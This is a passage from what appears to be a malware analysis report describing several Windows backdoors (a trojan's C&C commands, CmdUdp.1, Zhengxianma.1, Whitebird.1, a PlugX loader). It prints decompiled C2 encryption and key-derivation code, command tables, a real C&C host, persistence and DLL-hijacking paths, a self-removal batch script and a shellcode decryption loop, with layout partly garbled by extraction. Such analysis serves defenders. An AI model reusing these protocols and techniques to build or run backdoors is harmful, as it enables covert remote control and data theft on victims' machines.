Then the current date and time are compared with the parameters from the configuration. If
the date and time match the configuration parameters, the trojan attempts to connect toone of the C&C servers specified in the configuration over the SSL Protocol. After successfulconnection, the program collects information about the infected computer:#pragma pack(push, 1)
struct botinfo{
wchar_t compname[100];_BYTE osver;_BYTE gotcompname;_BYTE isx64arch;_BYTE macaddress[6];_DWORD ipaddress;_BYTE byte10;_BYTE iswow64proc;_WORD year;_WORD month;_WORD day;};#pragma pack(pop)Then it sends information about the infected computer to the server(cmdid == 0x129E,
datasize == 0xdd) and checks that the response sent matches cmid == 0x132A. It
sends a packet containing cmdid == 0x155B and 3 parameters for each of the 30 possible
modules. After that, the malicious program waits for commands from the server. The waitingtime is calculated using the formula:
v12 = 60000 * ctx->period;
min = 120000 * ctx->period / 3u;
ticks = ctx->imp->GetTickCount();
ctx->imp->Sleep(ticks % (v12 - min) + min);where ctx->period is the last number from the configuration. After a pause, thecommunication process with the server starts again.
The server can send the following commands:

54

55

Command ID

Description

Arguments

Answer0x1AC3To maintain theconnection

no0x1AC30x1C1CTo remove itself
from the system--

0x230ETo create a buffer
for the payload(shellcode or
MZPE file)

payload_params
structure:

0x2873 in case of 0 (_QWORD
size)
success#pragmapack(push,1)
struct payload_
params{_BYTE type;_DWORD index;_DWORDdword5;_DWORDbufsize;_DWORDshellcode_ep;_DWORD sig;};
#pragmapack(pop)

Answer data-

0x2D06 in case of failure

0x294CTo copy the
payload into
prepared buffer

Data to be copied

0x2873Current size of the
payload(_QWORD size)

0x2AC8To launch the
payload-0x27430 (_QWORD size)

0x2D06

To releasememory for the
payload-0x2D06-0x590ATo launch file
manager

Awaits the following
structure as anargument

0x3F15 (filemanager launch)

Structure received
from the server,
with the length of
the second
parameter limited
to 90 symbols#pragmapack(push,1)
struct cmdarg{_BYTE cmdid;char s[];};#pragmapack(pop)

0x3F15 (filemanagertermination)

-

55

56

Command ID

Description

Arguments

AnswerAnswer data

0x3099To process othercommands

Awaits the following
structure as anargument

0x3F15 (start ofcommandprocessing)

Structure received
from the serverwith the length of
the second
parameter limited
to 90 symbols#pragmapack(push,1)
struct cmdarg{_BYTE cmdid;char s[];};#pragmapack(pop)

0x3F15 (end ofcommandprocessing)-

0x2AC8 (Payload launch)
It is used after the 0x230E and 0x294C commands; payload_params->index == 4parameter is required. The trojan starts a thread in which it performs all the actions;
payload_params->sig == 0x7AC9 means the payload is not encrypted.
If the payload is encrypted, a decryption key is generated:imp->sprintf(rc4_key, "%02x#%02X_5B", BYTE2(payload_params->sig), (unsigned __int8)
payload_params->sig);

The key is then expanded to 256 bytes, and the entire buffer is decrypted by the received
key.
· payload_params->type == 0 means the buffer contains the shellcode, and· payload_params->shellcode_ep specifies the offset in the shellcode to start

execution from.
· payload_params->type == 1 means the buffer contains an MZPE file. The trojan

loads it into memory and passes the code execution to the OEP (Original entry point).
Next, the file is checked for export functions; if there are any, the trojan looks for the
GetClassObject function and executes it.
Any other value of the payload_params->type parameter leads the program to shut
down.
0x590A (File manager launch)
The trojan establishes a new connection with the C&C server, in which it will accept
commands from the file manager.

56

57

After establishing a connection, the trojan sends a packet with cmdid == 0x3F15 and withdata received from the server. The length of the cmdarg->s parameter is limited to 90
symbols. After that, the malware starts a thread in which it waits for the server’s commands
over the established connection.
Group

Command ID

0x1AC3
Maintaining
the connection
To read a file

0x55C3

Description

Arguments

AnswerAnswer data

To maintainthe connection

0x1AC3-To get file size fsread
structure:

0x5DE4 if thefile could not
be opened-#pragmapack(push,1)
struct fsread{_DWORD
pos_high;_DWORD
pos_low;

File size
0x5DDA if thefile was
opened(QWORD type)wchar_t file
name[400];};#pragmapack(pop)

0x55C4

To read a file(used after
0x55C3command)-

0x5DDC if theoffset in thefile is greateror equal to
the file size-

File data inblocks of
0x1800 bytes

0x5DDBsending filedata

To write a file

Any code
except of
0x5013 after
0x55C4Error-

0x5DE4error-

0x5013To close a file

-

-

-

0x55C7To open a filefor reading
and writingFile
name(wchar_t[400])

0x5DE4 if thefile could not
be opened

-

57

58

To list a
directory

0x5DE1 if thefile was
openedFile size(QWORD type)

0x55C8To write data
to a file

Data to be
written

0x5DE2 filewritingcompleted-

Any code
except0x5013 or
0x55C9 after
0x55C8Error-

0x5DE4error-

0x55C9End of writing-

0x5DE3
confirming theend of writing-

0x5013To close a file

-

-

-

0x55C5To list a
directory(wchar_t[400]) path

0x5DDD
beginning of
directory
listing--

Is ignored,
listing stops
only when all
files and subdirectories arelisted or anerror occurs

0x5DDE To
The listing:list a directory,#pragmaexcludingpack(push,1)
folders
If the packet
size with thenext file
exceeds the
maximum
packet size
(0x2000
bytes), then
the trojan
sends thecurrent packet
and starts
preparing a
new one.
After browsing
all the files,
the trojan
recursively
proceeds
through all thestruct fsfil
einfo{
wchar_t file
name[];_QWORD
filesize};
struct fslsf
iles{
fsfileinfo
files[];};#pragmapack(pop)58

59

directories,
forming alisting for
each.
-

-

-

0x5DDF
directory
listing
successfullycompleted--

0x5DE0 direct
ory listing
failed with anerror

0x3099 (other commands)
The malware checks whether the fir pipe was created for the command ID specified by theserver. If not, it starts the thread in which it then launches the payload (similar to the 0x2AC8
command).
The trojan establishes a new connection with the C&C server, in which it will accept
commands related to 0x2AC8. After establishing a connection, the trojan sends a packet
with cmdid == 0x3F15 and with data that was received from the server. The length of the
cmdarg->s parameter is limited to 90 symbols. After that, the malware starts a thread, inwhich it waits for server’s commands over the established connection.
If the fir pipe is created, the trojan sends the 0x32E0 packet without parameters, thensends the 0x3F15 packet without it as well. After that, it finishes processing the command.
Creates 3 pipes:· \\.\pipe\windows@#%02XMon· \\.\pipe\windows@#%02Xfir· \\.\pipe\windows@#%02Xsec

where %02X is replaced with a number passed by the server.
In a separate thread it reads data from the fir pipe and sends it to the server with the
0x34A7 command ID.
Next, the trojan starts another thread that directly processes the server’s commands:· 0x1AC3 — maintains the connection;· 0x3167 — writes the data received from the server to the sec pipe;59

60· 0x32E0 — writes the 0x32E0 command to the Mon pipe;· 0x38AF — writes the 0x38AF command to the Mon pipe and then closes the connection

with the server;· 0x3716 — writes 12 bytes received from the server, as well as a pointer to the buffer withthe payload, payload’s size and offset to the shellcode entry point to the sec pipe;· 0x3A0B — similar to 0x3099;· 0x3CD0 — starts the proxy.

0x3CD0 (Proxy)
When receiving the 0x3099 command in the framework for processing the 0x590A
command, the trojan tries to open port 127[.]0.0[.]1:5000. If it fails, it increases theport number by one and tries again until the port is opened. Then it writes 3 bytes to thesecond pipe: 1 byte of the argument and 2 bytes for the open port.
It starts a thread in which it waits for incoming connections. Once the connection isestablished, it transfers data from the socket to the C&C server and back. When sending data
to the C&C server, cmdid is set to 0x9F37.
0x1C1C (Self-removing)
The program attempts to terminate its process via taskkill /f /pid <pid>. It copies
cmd.exe to the %ALLUSERSPROFILE%\\com.microsoft\\dllhost.exe directory (forWindows XP — %ALLUSERSPROFILE%\\Application Data\\com.microsoft\\dllhost.exe). For later Windows versions, it also copies %WINDIR%\\System32\\<deflocale>\ \ cmd.exe.mui to %ALLUSERSPROFILE%\\com.microsoft\\dllhost.exe.mui, where <deflocale> is the name of the default locale.
In the %ALLUSERSPROFILE%\\com.microsoft\\ directory (for Windows XP a %ALLUSERSPROFILE%\\Application Data\\com.microsoft\\), it creates amshelp.bat file that contains the following set of commands:
sc stop misics
sc delete misics
rd /s /q "%ALLUSERSPROFILE%\\Misics"
rd /s /q "%ALLUSERSPROFILE%\\Media"
taskkill /f /pid <curpid>
rd /s /q "%HOMEDRIVE%\\DOCUME~1\\ALLUSE~1\\APPLIC~1\\Misics"
rd /s /q "%HOMEDRIVE%\\DOCUME~1\\ALLUSE~1\\APPLIC~1\\Media"
reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "Misics" /f
del %0where <curpid> is the trojan’s PID.
Then it launches the batch file and shuts down.

60

61

Protocol for communicating with the C&C server
Data is encrypted before being sent to the sever. First, an RC4 key is generated to encrypt
the packet header:
1) A packet header consisting of 8 DWORDs is generated:imp->memset(header, 0i64, 32i64);...
header[4] = 0xE0B2; //signature
header[5] = cmdid;
header[3] = datasize;
header[0] = datasize + imp->GetTickCount() % 0x87C9;
header[1] = datasize + imp->GetTickCount() % 0x3F0D;
header[2] = datasize + imp->GetTickCount() % 0x9B34;
header[7] = datasize + imp->GetTickCount() % 0xF317;

2) Based on the header[7] value, key_part_2 is generated, consisting of 4 bytes:
key_part_2[3] = LOBYTE(header[7]) & 0x7A;
key_part_2[2] = BYTE2(header[7]) ^ 0x81;
key_part_2[1] = BYTE1(header[7]) ^ 0x4E;
key_part_2[0] = HIBYTE(header[7]) & 0x3D;3) Based on the header[7] value, key_part_3 is generated, consisting of 4 bytes:
key_part_3[2] = BYTE2(header[7]) & 0xA6;
key_part_3[3] = LOBYTE(header[7]) ^ 0x6F;
key_part_3[1] = BYTE1(header[7]) ^ 0x86;
key_part_3[0] = HIBYTE(header[7]) & 0xE4;4) Based on the received header[7], key_part_2, key_part_3, the trojan generates
a string that is a short key for encrypting the header:z = 0;for ( i = 0i64; i < 4; ++i ){imp_->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&header[7] + i));z += 2;
imp_->sprintf(&rc4_key[z], "%02x", key_part_2[i]);z += 2;
imp_->sprintf(&rc4_key[z], "%02X", key_part_3[i]);z += 2;}5) The obtained short key is expanded to a 256-byte key, which is used for encryption by theRC4 algorithm:
p_rc4_key = &rc4_key[1];do{p_rc4_key += 2;
v28 = x % short_key_len;
v29 = x + 1;
x += 2;*(p_rc4_key - 3) = short_key[v28];

61

62

*(p_rc4_key - 2) = short_key[v29 % short_key_len];}while ( x < 256 );6) The received RC4 key is used to encrypt the header (32 bytes).
Next, an RC4 key is generated to encrypt the packet data:1) key_part_4 is formed (4 bytes):
imp->memcpy(key_part_4, (char *)&header[3], 4i64);
key_part_4[2] = key_part_4[1] & 0x89;
key_part_4[1] = key_part_4[1] & 0x89 ^ 0x60;
key_part_4[3] = key_part_4[0] ^ 0xAC;
key_part_4[0] = (key_part_4[0] ^ 0xAC) & 0xCD;2) key_part_5 is formed (4 bytes):
imp->memcpy(key_part_5, (char *)&header[5], 4i64);
key_part_5[3] = key_part_5[0] & 0xB0;
key_part_5[0] = key_part_5[0] & 0xB0 ^ 0xD1;
key_part_5[2] = key_part_5[1] ^ 0x8D;
key_part_5[1] = (key_part_5[1] ^ 0x8D) & 0x64;

3) key_part_6 is formed (4 bytes):
imp->memcpy(key_part_6, (char *)&header[4], 4i64);
key_part_6[3] = key_part_6[0] & 0xB4;
key_part_6[0] &= 0x94u;
key_part_6[2] = key_part_6[1] ^ 0x91;
key_part_6[1] ^= 0xF9u;

4) key_part_7 is formed (4 bytes):
imp->memcpy(key_part_7, (char *)&header[2], 4i64);
key_part_7[3] = key_part_7[0] & 0x8A;
key_part_7[0] &= 0x82u;
key_part_7[2] = key_part_7[1] ^ 0xB2;
key_part_7[1] ^= 0xD8u;5) A short key is generated, which will be further used for data encryption:c = 0
for ( k = 0i64; k < 4; ++k ){imp->sprintf(&rc4_key_final[c], "%02X", key_part_4[k]);c += 2;
imp->sprintf(&rc4_key_final[c], "%02x", key_part_5[k]);c += 2;
imp->sprintf(&rc4_key_final[c], "%02X", key_part_6[k]);c += 2;
imp->sprintf(&rc4_key_final[c], "%02x", key_part_7[k]);c += 2;}

6) The obtained short key is expanded to a 256-byte key, which is used for encryption by theRC4 algorithm.

62

63

The trojan sends a POST request:
imp->sprintf(
request,"POST http://%s/updates.php?0x%08x HTTP/1.1\r\n""Host: %s\r\n""Connection: Keep-Alive\r\n""User-Agent: Mozilla/5.0\r\n""Cache-Control: no-catch\r\n""Content-Length: %d\r\n""\r\n",
host,ctx->tick,host,datasize + 32i64);

The ctx->tick parameter changes after each request and is equal to GetTickCount()% 0xFFFFFFFE.
Data encoded by the RC4 algorithm with key_part_1 (32 bytes) written at the beginning isused as request data.
When receiving a packet, the response headers are skipped, and only the \r\n\r\n string
is checked. The trojan reads the header (the first 32 bytes), and then proceeds with response
decrypting.
1) Based on the header[7] value, key_part_2 is generated, consisting of 4 bytes:
key_part_2[3] = LOBYTE(header[7]) & 0x7A;
key_part_2[2] = BYTE2(header[7]) ^ 0x81;
key_part_2[1] = BYTE1(header[7]) ^ 0x4E;
key_part_2[0] = HIBYTE(header[7]) & 0x3D;2) Based on the key_part_1[7] value, key_part_3 is generated, consisting of 4 bytes:
key_part_3[2] = BYTE2(header[7]) & 0xA6;
key_part_3[3] = LOBYTE(header[7]) ^ 0x6F;
key_part_3[1] = BYTE1(header[7]) ^ 0x86;
key_part_3[0] = HIBYTE(header[7]) & 0xE4;3) Based on the received header[7], key_part_2, key_part_3, the trojan generates
a string that is a short key for header decrypting:z = 0;for ( i = 0i64; i < 4; ++i ){imp_->sprintf(&rc4_key[z], "%02X", *((unsigned __int8 *)&key_part_1[7] + i));z += 2;
imp_->sprintf(&rc4_key[z], "%02x", key_part_2[i]);z += 2;
imp_->sprintf(&rc4_key[z], "%02X", key_part_3[i]);z += 2;}4) key_part_4 is formed (4 bytes):

63

64

imp->memcpy(key_part_4, (char *)&header[3], 4i64);
key_part_4[2] = key_part_4[1] & 0x89;
key_part_4[1] = key_part_4[1] & 0x89 ^ 0x60;
key_part_4[3] = key_part_4[0] ^ 0xAC;
key_part_4[0] = (key_part_4[0] ^ 0xAC) & 0xCD;5) key_part_5 is formed (4 bytes):
imp->memcpy(key_part_5, (char *)&header[5], 4i64);
key_part_5[3] = key_part_5[0] & 0xB0;
key_part_5[0] = key_part_5[0] & 0xB0 ^ 0xD1;
key_part_5[2] = key_part_5[1] ^ 0x8D;
key_part_5[1] = (key_part_5[1] ^ 0x8D) & 0x64;

6) key_part_6 is formed (4 bytes):
imp->memcpy(key_part_6, (char *)&header[4], 4i64);
key_part_6[3] = key_part_6[0] & 0xB4;
key_part_6[0] &= 0x94u;
key_part_6[2] = key_part_6[1] ^ 0x91;
key_part_6[1] ^= 0xF9u;7) key_part_7 is formed (4 bytes):
imp->memcpy(key_part_7, (char *)&header[2], 4i64);
key_part_7[3] = key_part_7[0] & 0x8A;
key_part_7[0] &= 0x82u;
key_part_7[2] = key_part_7[1] ^ 0xB2;
key_part_7[1] ^= 0xD8u;8) Based on the received key_part_4, key_part_5, key_part_6, key_part_7,
the trojan generates a string that is a short key for decrypting the payload:z = 0;for ( j = 0i64; j < 4; ++j ){imp_->sprintf(&payload_rc4_key[z], "%02X", key_part_4[j]);z += 2;
imp_->sprintf(&payload_rc4_key[z], "%02x", key_part_5[j]);z += 2;
imp_->sprintf(&payload_rc4_key[z], "%02X", key_part_6[j]);z += 2;
imp_->sprintf(&payload_rc4_key[z], "%02x", key_part_7[j]);z += 2;}9) Decrypts header with the key generated in step 3 and expanded to 256 bytes;
10) Checks that header[4] is equal to 0xE0B2;
11) header[5] contains the command ID and header[3] contains the payload size;12) Receives the payload and decrypts it with the RC4 key obtained in step 8 and expanded
to 256 bytes.

64

65

BackDoor.CmdUdp.1
It is a backdoor for Microsoft Windows operating systems. It allows attackers to remotely
control infected computers by implementing remote shell functions — launching cmd.exe
and redirecting the I/O to the attacker's C&C server.
The trojan is written in C++; the pdb file with debugging information when compiled on theattacker's computer was located at C:\VS2010\CMD_UDP_Server\Release\CMD_UDP_DLL.pdb.

Operating routine
BackDoor.CmdUdp.1 has the following exported functions:??0CCMD_UDP_DLL@@QAE@XZ??4CCMD_UDP_DLL@@QAEAAV0@ABV0@@Z?fnCMD_UDP_DLL@@YAHXZ?nCMD_UDP_DLL@@3HA
LoadProc
ServiceMain

Once on the target computer, the backdoor can work with or without being installed on thesystem. In the first case, the ServiceMain function is exported; in the second case, the
LoadProc function is exported. To provide its autorun, the backdoor is installed on thesystem as a service.
Every 3 minutes BackDoor.CmdUdp.1 sends the message hello to the C&C server
tv.teldcomtv.com:8080 and waits for further commands. Communication with theserver is performed over the UDP Protocol.
In response the server can send one of several control words to the trojan:· hello;· world;· exit.

The “hello” command
When this command is received, the backdoor starts the cmd.exe process. In this case, theinput and output of the command-line interpreter are redirected to 2 anonymous pipes. If
the process is created successfully, the cmd OK message is sent to the server.
In addition, a thread is started in which the trojan will send data from the stdout/stderrof the cmd.exe process to the server. If the backdoor fails to run cmd.exe, it notifies theserver by sending cmd err.

65

66

The “world” command
This command stops the cmd.exe main running thread for 1 second.
The “exit” command
This command terminates the previously created cmd.exe process.
If the server response does not contain any of the three specified commands, its contents aresent to cmd.exe for execution.

BackDoor.Zhengxianma.1
A backdoor trojan for Microsoft Windows operating systems. It is designed to takeunauthorized control over the infected computer by implementing remote shell functions —launching cmd.exe and redirecting the I/O to the attacker's C&C server.

Operating routine
It is a dynamic library with the following exported functions:· GetOfficeDatatal· Entrypoint

It checks the current system date during initialization: it must not be earlier than 2013-05-05.
Upon successful initialization, it modifies its code in memory to pass control to the
GetOfficeDatatal export function.
GetOfficeDatatal function
The trojan checks for the C:\WINDOWS\debug\rdp.sh file and, if it exists, stops working. If
the specified file is missing, the program creates the MsMpsvc service with the “Windows
Defender Service” display name. As an executable file, the trojan specifies the path to the
executable file of its process. Then it generates an empty C:\WINDOWS\debug\rdp.shfile, which serves as a marker for creating the corresponding service.
Entrypoint function
The main backdoor functionality is contained in the Entrypoint exported function. The
trojan binds to port 35636 to communicate with the C&C server. If an incoming connection
occurs, it sends a Please enter Pass:\r\n string to the operator. The response string
must contain 11 characters; if it has a different length, the trojan sends the message passis too long or short\r\n and closes the connection.

66

67

Upon receiving a correct response, the trojan calculates the MD5 hash from the enteredstring, converts the result to a hexadecimal representation, and compares it with thereference value 220B9FDC9C3CB7C667DCED54D92CFA0F hardcoded into the program’s
body. If there is no match, it sends the message pass is error\r\n and closes theconnection.
If a match occurs, the trojan sends the pass is OK\r\n string to the operator, and thenlaunches cmd.exe with the I/O redirection to the C&C server.

BackDoor.Whitebird.1
A multifunctional backdoor trojan for Microsoft Windows 64-bit operating systems. Its
function is to establish an encrypted connection with the C&C server and grant unauthorizedaccess to the infected computer. It has a file manager, proxy server and remote shell
capabilities. With BackDoor.PlugX, this trojan was used to infiltrate the network infrastructureof several agencies in central Asia.

Operating principle
The trojan represents a dynamic library with the MyInstall exported function. Upon
infecting the targeted system, it is installed in the C:\Windows\System32\oci.dll
directory.
The program launches as follows. Upon operating system boot, a Microsoft Distributed
Transaction Coordinator (MSDTC) is launched. The Windows registry contains theparameters of this service, which hold the names of the loading libraries. By default, theOracleOciLib and OracleOciLibPath keys in the
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI branch have the valuesof oci.dll and %systemroot%\system32 accordingly. When the trojan is placed in %systemroot%\system32\oci.dll, it will be automatically loaded onto the memory
when the MSDTC starts.
When initialized, it creates a gfhfgh6y76734d,1111 mutex, followed by the libraryloading and the MyInstall exported function call.
MyInstall
The trojan can determine if the proxy server should be used and can perform a basic
authentication and authorization via the NTLM protocol. When running, it logs records in thejournal, saving it as c:\programdata\logos.txt.
It connects to the C&C server and exchanges the keys with it. All subsequent packets
between the trojan and the server are encrypted. The algorithm based on the XOR operation
with the buffer length of 28 bytes is used for decryption. All packets are encrypted with an

67

68

end-to-end offset in the buffer; but for the encryption and decryption, separate counters areused.
The following structure is used to request commands from the server and send the results:#pragma pack(push, 1)
struct st_getcmd{_DWORD sig;
_DWORD cmd;
_DWORD res;
_DWORD dwordc;};#pragma pack(pop)The sig parameter always has a 0x03 value. To request the command from the server, the
cmd parameter is set as 0x200, and the res and dwordc parameters are set to zero. If theserver does not send any data within 44 seconds, the trojan sends a packet containing the
cmd parameter with the 0x00 value. This process repeats until any response is received fromthe server.
Commands list
The commands the trojan can execute, as well as its response to them, are shown below:· 0x00 — lack of the reply, awaiting the next command;· 0x01 (collecting information about the bot) — replies with the cmd_botinfo structure:#pragma pack(push, 1)
struct cmd_botinfo_int{_DWORD sig; // 0x03
_DWORD OSMajorVersion;_DWORD OSMinorVersion;_DWORD OSPlatformId;_DWORD userpriv;_DWORD botip;_QWORD MemTotalPhys;_BYTE macaddr[6];wchar_t szCSDVersion[128];
wchar_t hostname[64];wchar_t username[64];char connect_string[256];};
struct cmd_botinfo{_BYTE sig; // 0x03
_WORD len; // 0x3AC_WORD cmdid;_BYTE gap[10];cmd_botinfo_int info;};#pragma pack(pop)68

69· 0x02 (remote shell launch) — replies with the packet, similar to the one received from theserver;· 0x03 (advanced file system manager launch) — replies with the packet, similar to the one

received from the server;· 0х05 (remote shell v2 launch) — replies with the packet, similar to the one received fromthe server;· 0x06 (proxy manager launch) — replies with the packet, similar to the one received fromthe server;· 0x100 (the ping command) — replies with cmd=0x00;· 0x400 (the command to reconnect to the server) — replies with cmd=0x300;· 0x600 (dummy command) — replies with cmd=0x600; res=0xffffffff;· 0x700 (launch of the command through ShellExecute) — replies with cmd=0x700; if

failed, replies with res=0xffffffff.
Exchanging keys
The process of exchanging keys with the C&C server is as follows:
Using random values, the trojan initializes the buffer with the size of 28 bytes. Next, it takes
the data array of the 58 bytes size, which is embedded into its body.

It encrypts bytes from 15 to 43, based on the XOR operation algorithm, using randomly
generated bytes, and sends the resulting buffer to the server. In response, it should receive 5
bytes, where 0x16 is a 0 byte and the htons function results from WORD, starting with thethird byte, which is the size of the next packet, and shouldn’t exceed 0x3FF9 bytes.
After that, it receives the next packet, whose data is used in the next exchange.
Next, the trojan uses the second encoded buffer with the size of 332 bytes.

69

70

The trojan encrypts the bytes, starting from 9 to 265 and from 304 to 332, with the algorithm
based on the XOR operation, using randomly generated bytes. 28 bytes, starting from 276
bytes, is replaced with the data generated upon the first buffer initialization. There must be a
response of 5 bytes, where the 0 byte is 0x14, and the htons function results from WORD,
starting with the 3rd byte, which is the size of next packet, and should not exceed 0x3FF9
bytes.
After that, it receives the next packet, whose data is not used in further exchange.
Next, the trojan receives 5 bytes from the C&C server, where 0x16 is the 0 byte, and thehtons function results from WORD, starting with the 3rd byte, which is the size of the next
packet, and should not exceed 0x38 bytes.
It receives the next packet from the C&C server and sends 0х38 bytes into the encryption
key initialization function:__int64 __fastcall CCrypt::GenKeys(ccrypt *this, _BYTE *ext_key){__int64 result; // rax
int i; // [rsp+0h] [rbp-18h]
for ( i = 0; i < 28; ++i ){this->key[i] ^= ext_key[i];this->key[i] ^= ~(_BYTE)i;if ( !this->key[i] )this->key[i] = ~(_BYTE)i;
result = (unsigned int)(i + 1);}
return result;
}

70

71

Remote Shell Function
The trojan copies %WINDIR%\System32\cmd.exe into %WINDIR%\System32\alg.exe.
It then initializes a new connection to the C&C server and sends the following packet:#pragma pack(push,1)
struct cmd_remoteshell{_WORD sig; // 0x03
_WORD len;
_WORD cmd; // 0x02
_BYTE gap[10];_BYTE macaddr[6];};#pragma pack(pop)

Next, it launches a scanned alg.exe with the pipes input/output redirection. If the launch fails,
it runs a cmd.exe instead of the alg.exe. If there is data in the output function pipe, the trojan
sends the data to the server in the following packet:#pragma pack(push,1)
struct cmd_remoteshell_out{_WORD sig; // 0x03
_WORD len;
_WORD cmd; // 0x202_BYTE gap[10];wchar_t buffer[];};#pragma pack(pop)

Herewith, the trojan periodically checks for data from the C&C server and parses theincoming command when the data has been received.
List of Remote Shell Commands
Command

0x100
0x102

0x103

Description

Argument

Response

keep-alive mode-

executes the commandin the Remote Shella command-launches the file
manager (writing into
the end of existing file)a path to the file, thefinal size of the file

cmd value is identical tothe value in the packet
received from theserver;cmd = 0x00

res = -1 if failed;

71

72

0x203

0x703

the remaining variants

launches the file
manager (reading fromthe file)a path to the executable
file, an offset in the filelaunches an applicationa path to the executable res = -1 if failed;file and arguments
res = 0 if succeed.

default behavior-

res = 0 if succeed.

cmd value is identicalto the value of thepacket received fromthe server;

res = 1.

Remote Shell v2
The trojan copies %WINDIR%\System32\cmd.exe into the %WINDIR%\System32\alg.exe. It then initializes a new connection to the C&C server and sends thefollowing packet:#pragma pack(push,1)
struct cmd_remoteshell{_WORD sig; // 0x03
_WORD len;
_WORD cmd; // 0x02
_BYTE gap[10];_BYTE macaddr[6];};#pragma pack(pop)

Next, it launches a copied alg.exe; if launch has failed, it runs a cmd.exe instead of thealg.exe. Input/output to the launched process is implemented via the trojan process joining
to the console of the launched alg.exe/cmd.exe process, using the WINAPI
AttachConsole.
The rest of the operation routine is similar to the one in the Reverse Shell handler.
File manager
The trojan initializes a new connection to the C&C server and sends the following packet:#pragma pack(push,1)
struct cmd_fileop{_WORD sig; // 0x03
_WORD len;
_WORD cmd;

72

73

_WORD gap;
_DWORD res;
_DWORD filesize;_BYTE macaddr[6];};#pragma pack(pop)The cmd value is set to the same value in the server packet. Next, the trojan receivescommands from the server.
· 0x103:

Checks for the file availability. If it does not exist, it sends the packet with the res = 0xB7
value;
Tries to open the file in append mode. If failed, it sends the packet with the res = 0x52
value;
Receives the file size and sets filesize filed to the corresponding value in thesubsequent packets;
Receives packets in a cycle with the cmd = 0x303 packet value, and writes the data into
the file until the file size is larger or equal to the one the server indicated in the first
packet.
· 0x203:

Tries to open the file in reading mode. If failed, it sends the packet with the res = 0x02
value;
Receives the file size and sends it to the server in the packet;
In a cycle, it reads the file, starting from the offset, which is indicated in filesize of thefirst packet received from the server, and sends the data in the packet with the cmd =0x303 value to the server until the file hasn’t been read to its end.
· 0x403:

If the C&C server sends the path as an argument, the trojan lists the files and folders
available in this path (not recursively) and sends the collected information with the cmd =0x403 value to the server;If the C&C server does not specify the argument or if the first symbol of the argument is'/'or '\\', the trojan lists every storage device and collects the data, including the disk
type, its size and free space available, and then sends this data to the server in the packet
with the cmd = 0x403 value.
· 0x503:

Moves a file (the initial and final paths are specified by the C&C server). In response, it
sends the packet with the cmd = 0x503 and res = 0 values if succeeded; otherwise, it
sends the packet with the res = -1 value.
· 0x603:73

74

Deletes the file located in the path, specified by the server. In response, it sends the packet
with the cmd = 0x603 and res = 0 values if succeeded; otherwise, it sends the packet
with the res = -1 value.
· 0x703:

Launches an application specified by the server by using specific arguments. In response, it
sends the packet with the cmd = 0x703 and res = 0 values if succeeded; otherwise, it
sends the packet with the res = -1 value.
Proxy manager
The trojan initiates a new connection to the server and sends the following packet to it:#pragma pack(push,1)
struct cmd_proxy{_WORD sig; // 0x03
_WORD len;
_WORD cmd; // 0x06
_BYTE gap[10];_BYTE macaddr[6];};#pragma pack(pop)

Next, it receives the commands from the server.
· 0x106:o Opens one of the available ports;o Sends a packet with the cmd = 0x506 value to the server;o Connects to the targeted server using the IP and port, specified by the C&C server;o Waits for the incoming connection to its port. Upon receiving the data, it sends it to theserver it is connected to;o If the trojan receives the data from the targeted server, it sends it to the C&C server inthe packet with the cmd = 0x116 value;
o Returns to waiting for the incoming connection to its port. Upon receiving the data, it
sends it to the server it is connected to.
· 0x116:

If there is an incoming connection to a previously opened port, the trojan sends the raw
data to the client without using the encryption standard to the trojan.
· 0x126:

Stops the proxy and closes all opened connections.
· 0x206:o Sends the packet with the cmd = 0x506 value to the C&C server;o Opens a port specified by the server;

74

75

o Waits for the incoming connection to the specified port;o Connects to the targeted server specified by the C&C server;o Forwards the traffic from the local port to the remote server and backwards as raw
data, not using the encryption, standard to the trojan.
· 0x306:

o Receives two ports as an argument;o Sends the packet with the cmd = 0x506 value to the C&C server;o Opens first port (master port) and waits for the connection;o Opens the second port (client port) and waits for the connection;o Opens a random port and sends its number to the target, which is currently connectedto the master port. Next, it waits for the incoming connection on the specified port;o Forwards the traffic between the clients, which connected to the master port andrandom port..
· 0x406:

o Receives two pairs of IP:port as an argument;o Connects to the first server and receives 2 bytes from it, which are the port number;o Connects to the same server through the received port;o Connects to the second server, specified in the incoming arguments;o Forward the traffic between previously established connections.
· 0x606:

Stops proxy server operation.

BackDoor.PlugX.27
A loader for BackDoor.PlugX.28 written in C. It is a malicious library that functions within theprocess of a valid executable file. This library unpacks and executes the shellcode with
payload. The trojan utilizes DLL hijacking to load the malicious code into a process.
The loader’s components and the attacked applications:Executable’s SHA-1
hash

EXE

DLL

Shellcode

5c51a20513ba27325
113d463be9b5c6ed4
0b5096EMLPRO.EXE

scansts.dll

QuickHeal

75

76

Executable’s SHA-1
hash

EXE

DLL

Shellcodeb423bea76f996bf2f
69dcc9e75097635d7
b7a7aaCLNTCON.exe

CLNTCON.ocx

CLNTCON.ocp

5d076537f56ee7389
410698d700cc4fd7d
736453EHSrv.exe

http_dll.dll

ESETSrv

Operating routine
scansts.dll
Once loaded to a process, the library transfers control to the call of scansts_2 theexported function by a hardcoded offset.
In that function the library refers to QuickHeal file, which is located at C:\Windows\System32 on the infected system. It then checks for the
HKLM\Software\BINARY or HKCU\Software\BINARY registry key to determine further
actions. If the registry keys are absent, the trojan initiates decryption of the QuickHeal
shellcode and then calls it by passing it as an argument 0.
Decryption algorithm:s = ''
for i in range(len(d)):
s += chr((((ord(d[i]) + 0x4f) ^ 0xf1) - 0x4f) & 0xff)

CLNTCON.ocx
It is the improved version of scansts.dll. The main malicious code is located in the
DllRegisterServer exported function. The function call decrypts the DLL’s code using analgorithm based on the XOR operation. The trojan then refers to CLNTCON.ocp and checks
for the HKLM\Software\BINARY or HKCU\Software\BINARY registry keys. The
shellcode is decrypted in two stages: in addition to the mentioned algorithm, the RC4algorithm with the CLNTCON.ocp decoding key is also used.
http_dll.dll
It is equivalent to CLNCON.ocx except the following options:· the main trojan’s code is located in the StartHttpServer exported function,76

77· ESETSrv is used as the RC4 decoding key.

QuickHeal shellcode
It is the obfuscated shellcode with an encrypted binary file and configuration. The
obfuscated portion contains decryption instructions for the code that extracts the payload.

The payload is extracted by malmain function and defined by the following structure:#pragma pack(push,1)
struct st_data{_DWORD size;_BYTE data[size];

77

78

};
struct shellarg{_DWORD shellcode_ep;_DWORD field_4;
st_data* mod;_DWORD comp_size;
st_data* cfg;
_DWORD field_14;_DWORD field_18;};#pragma pack(pop)

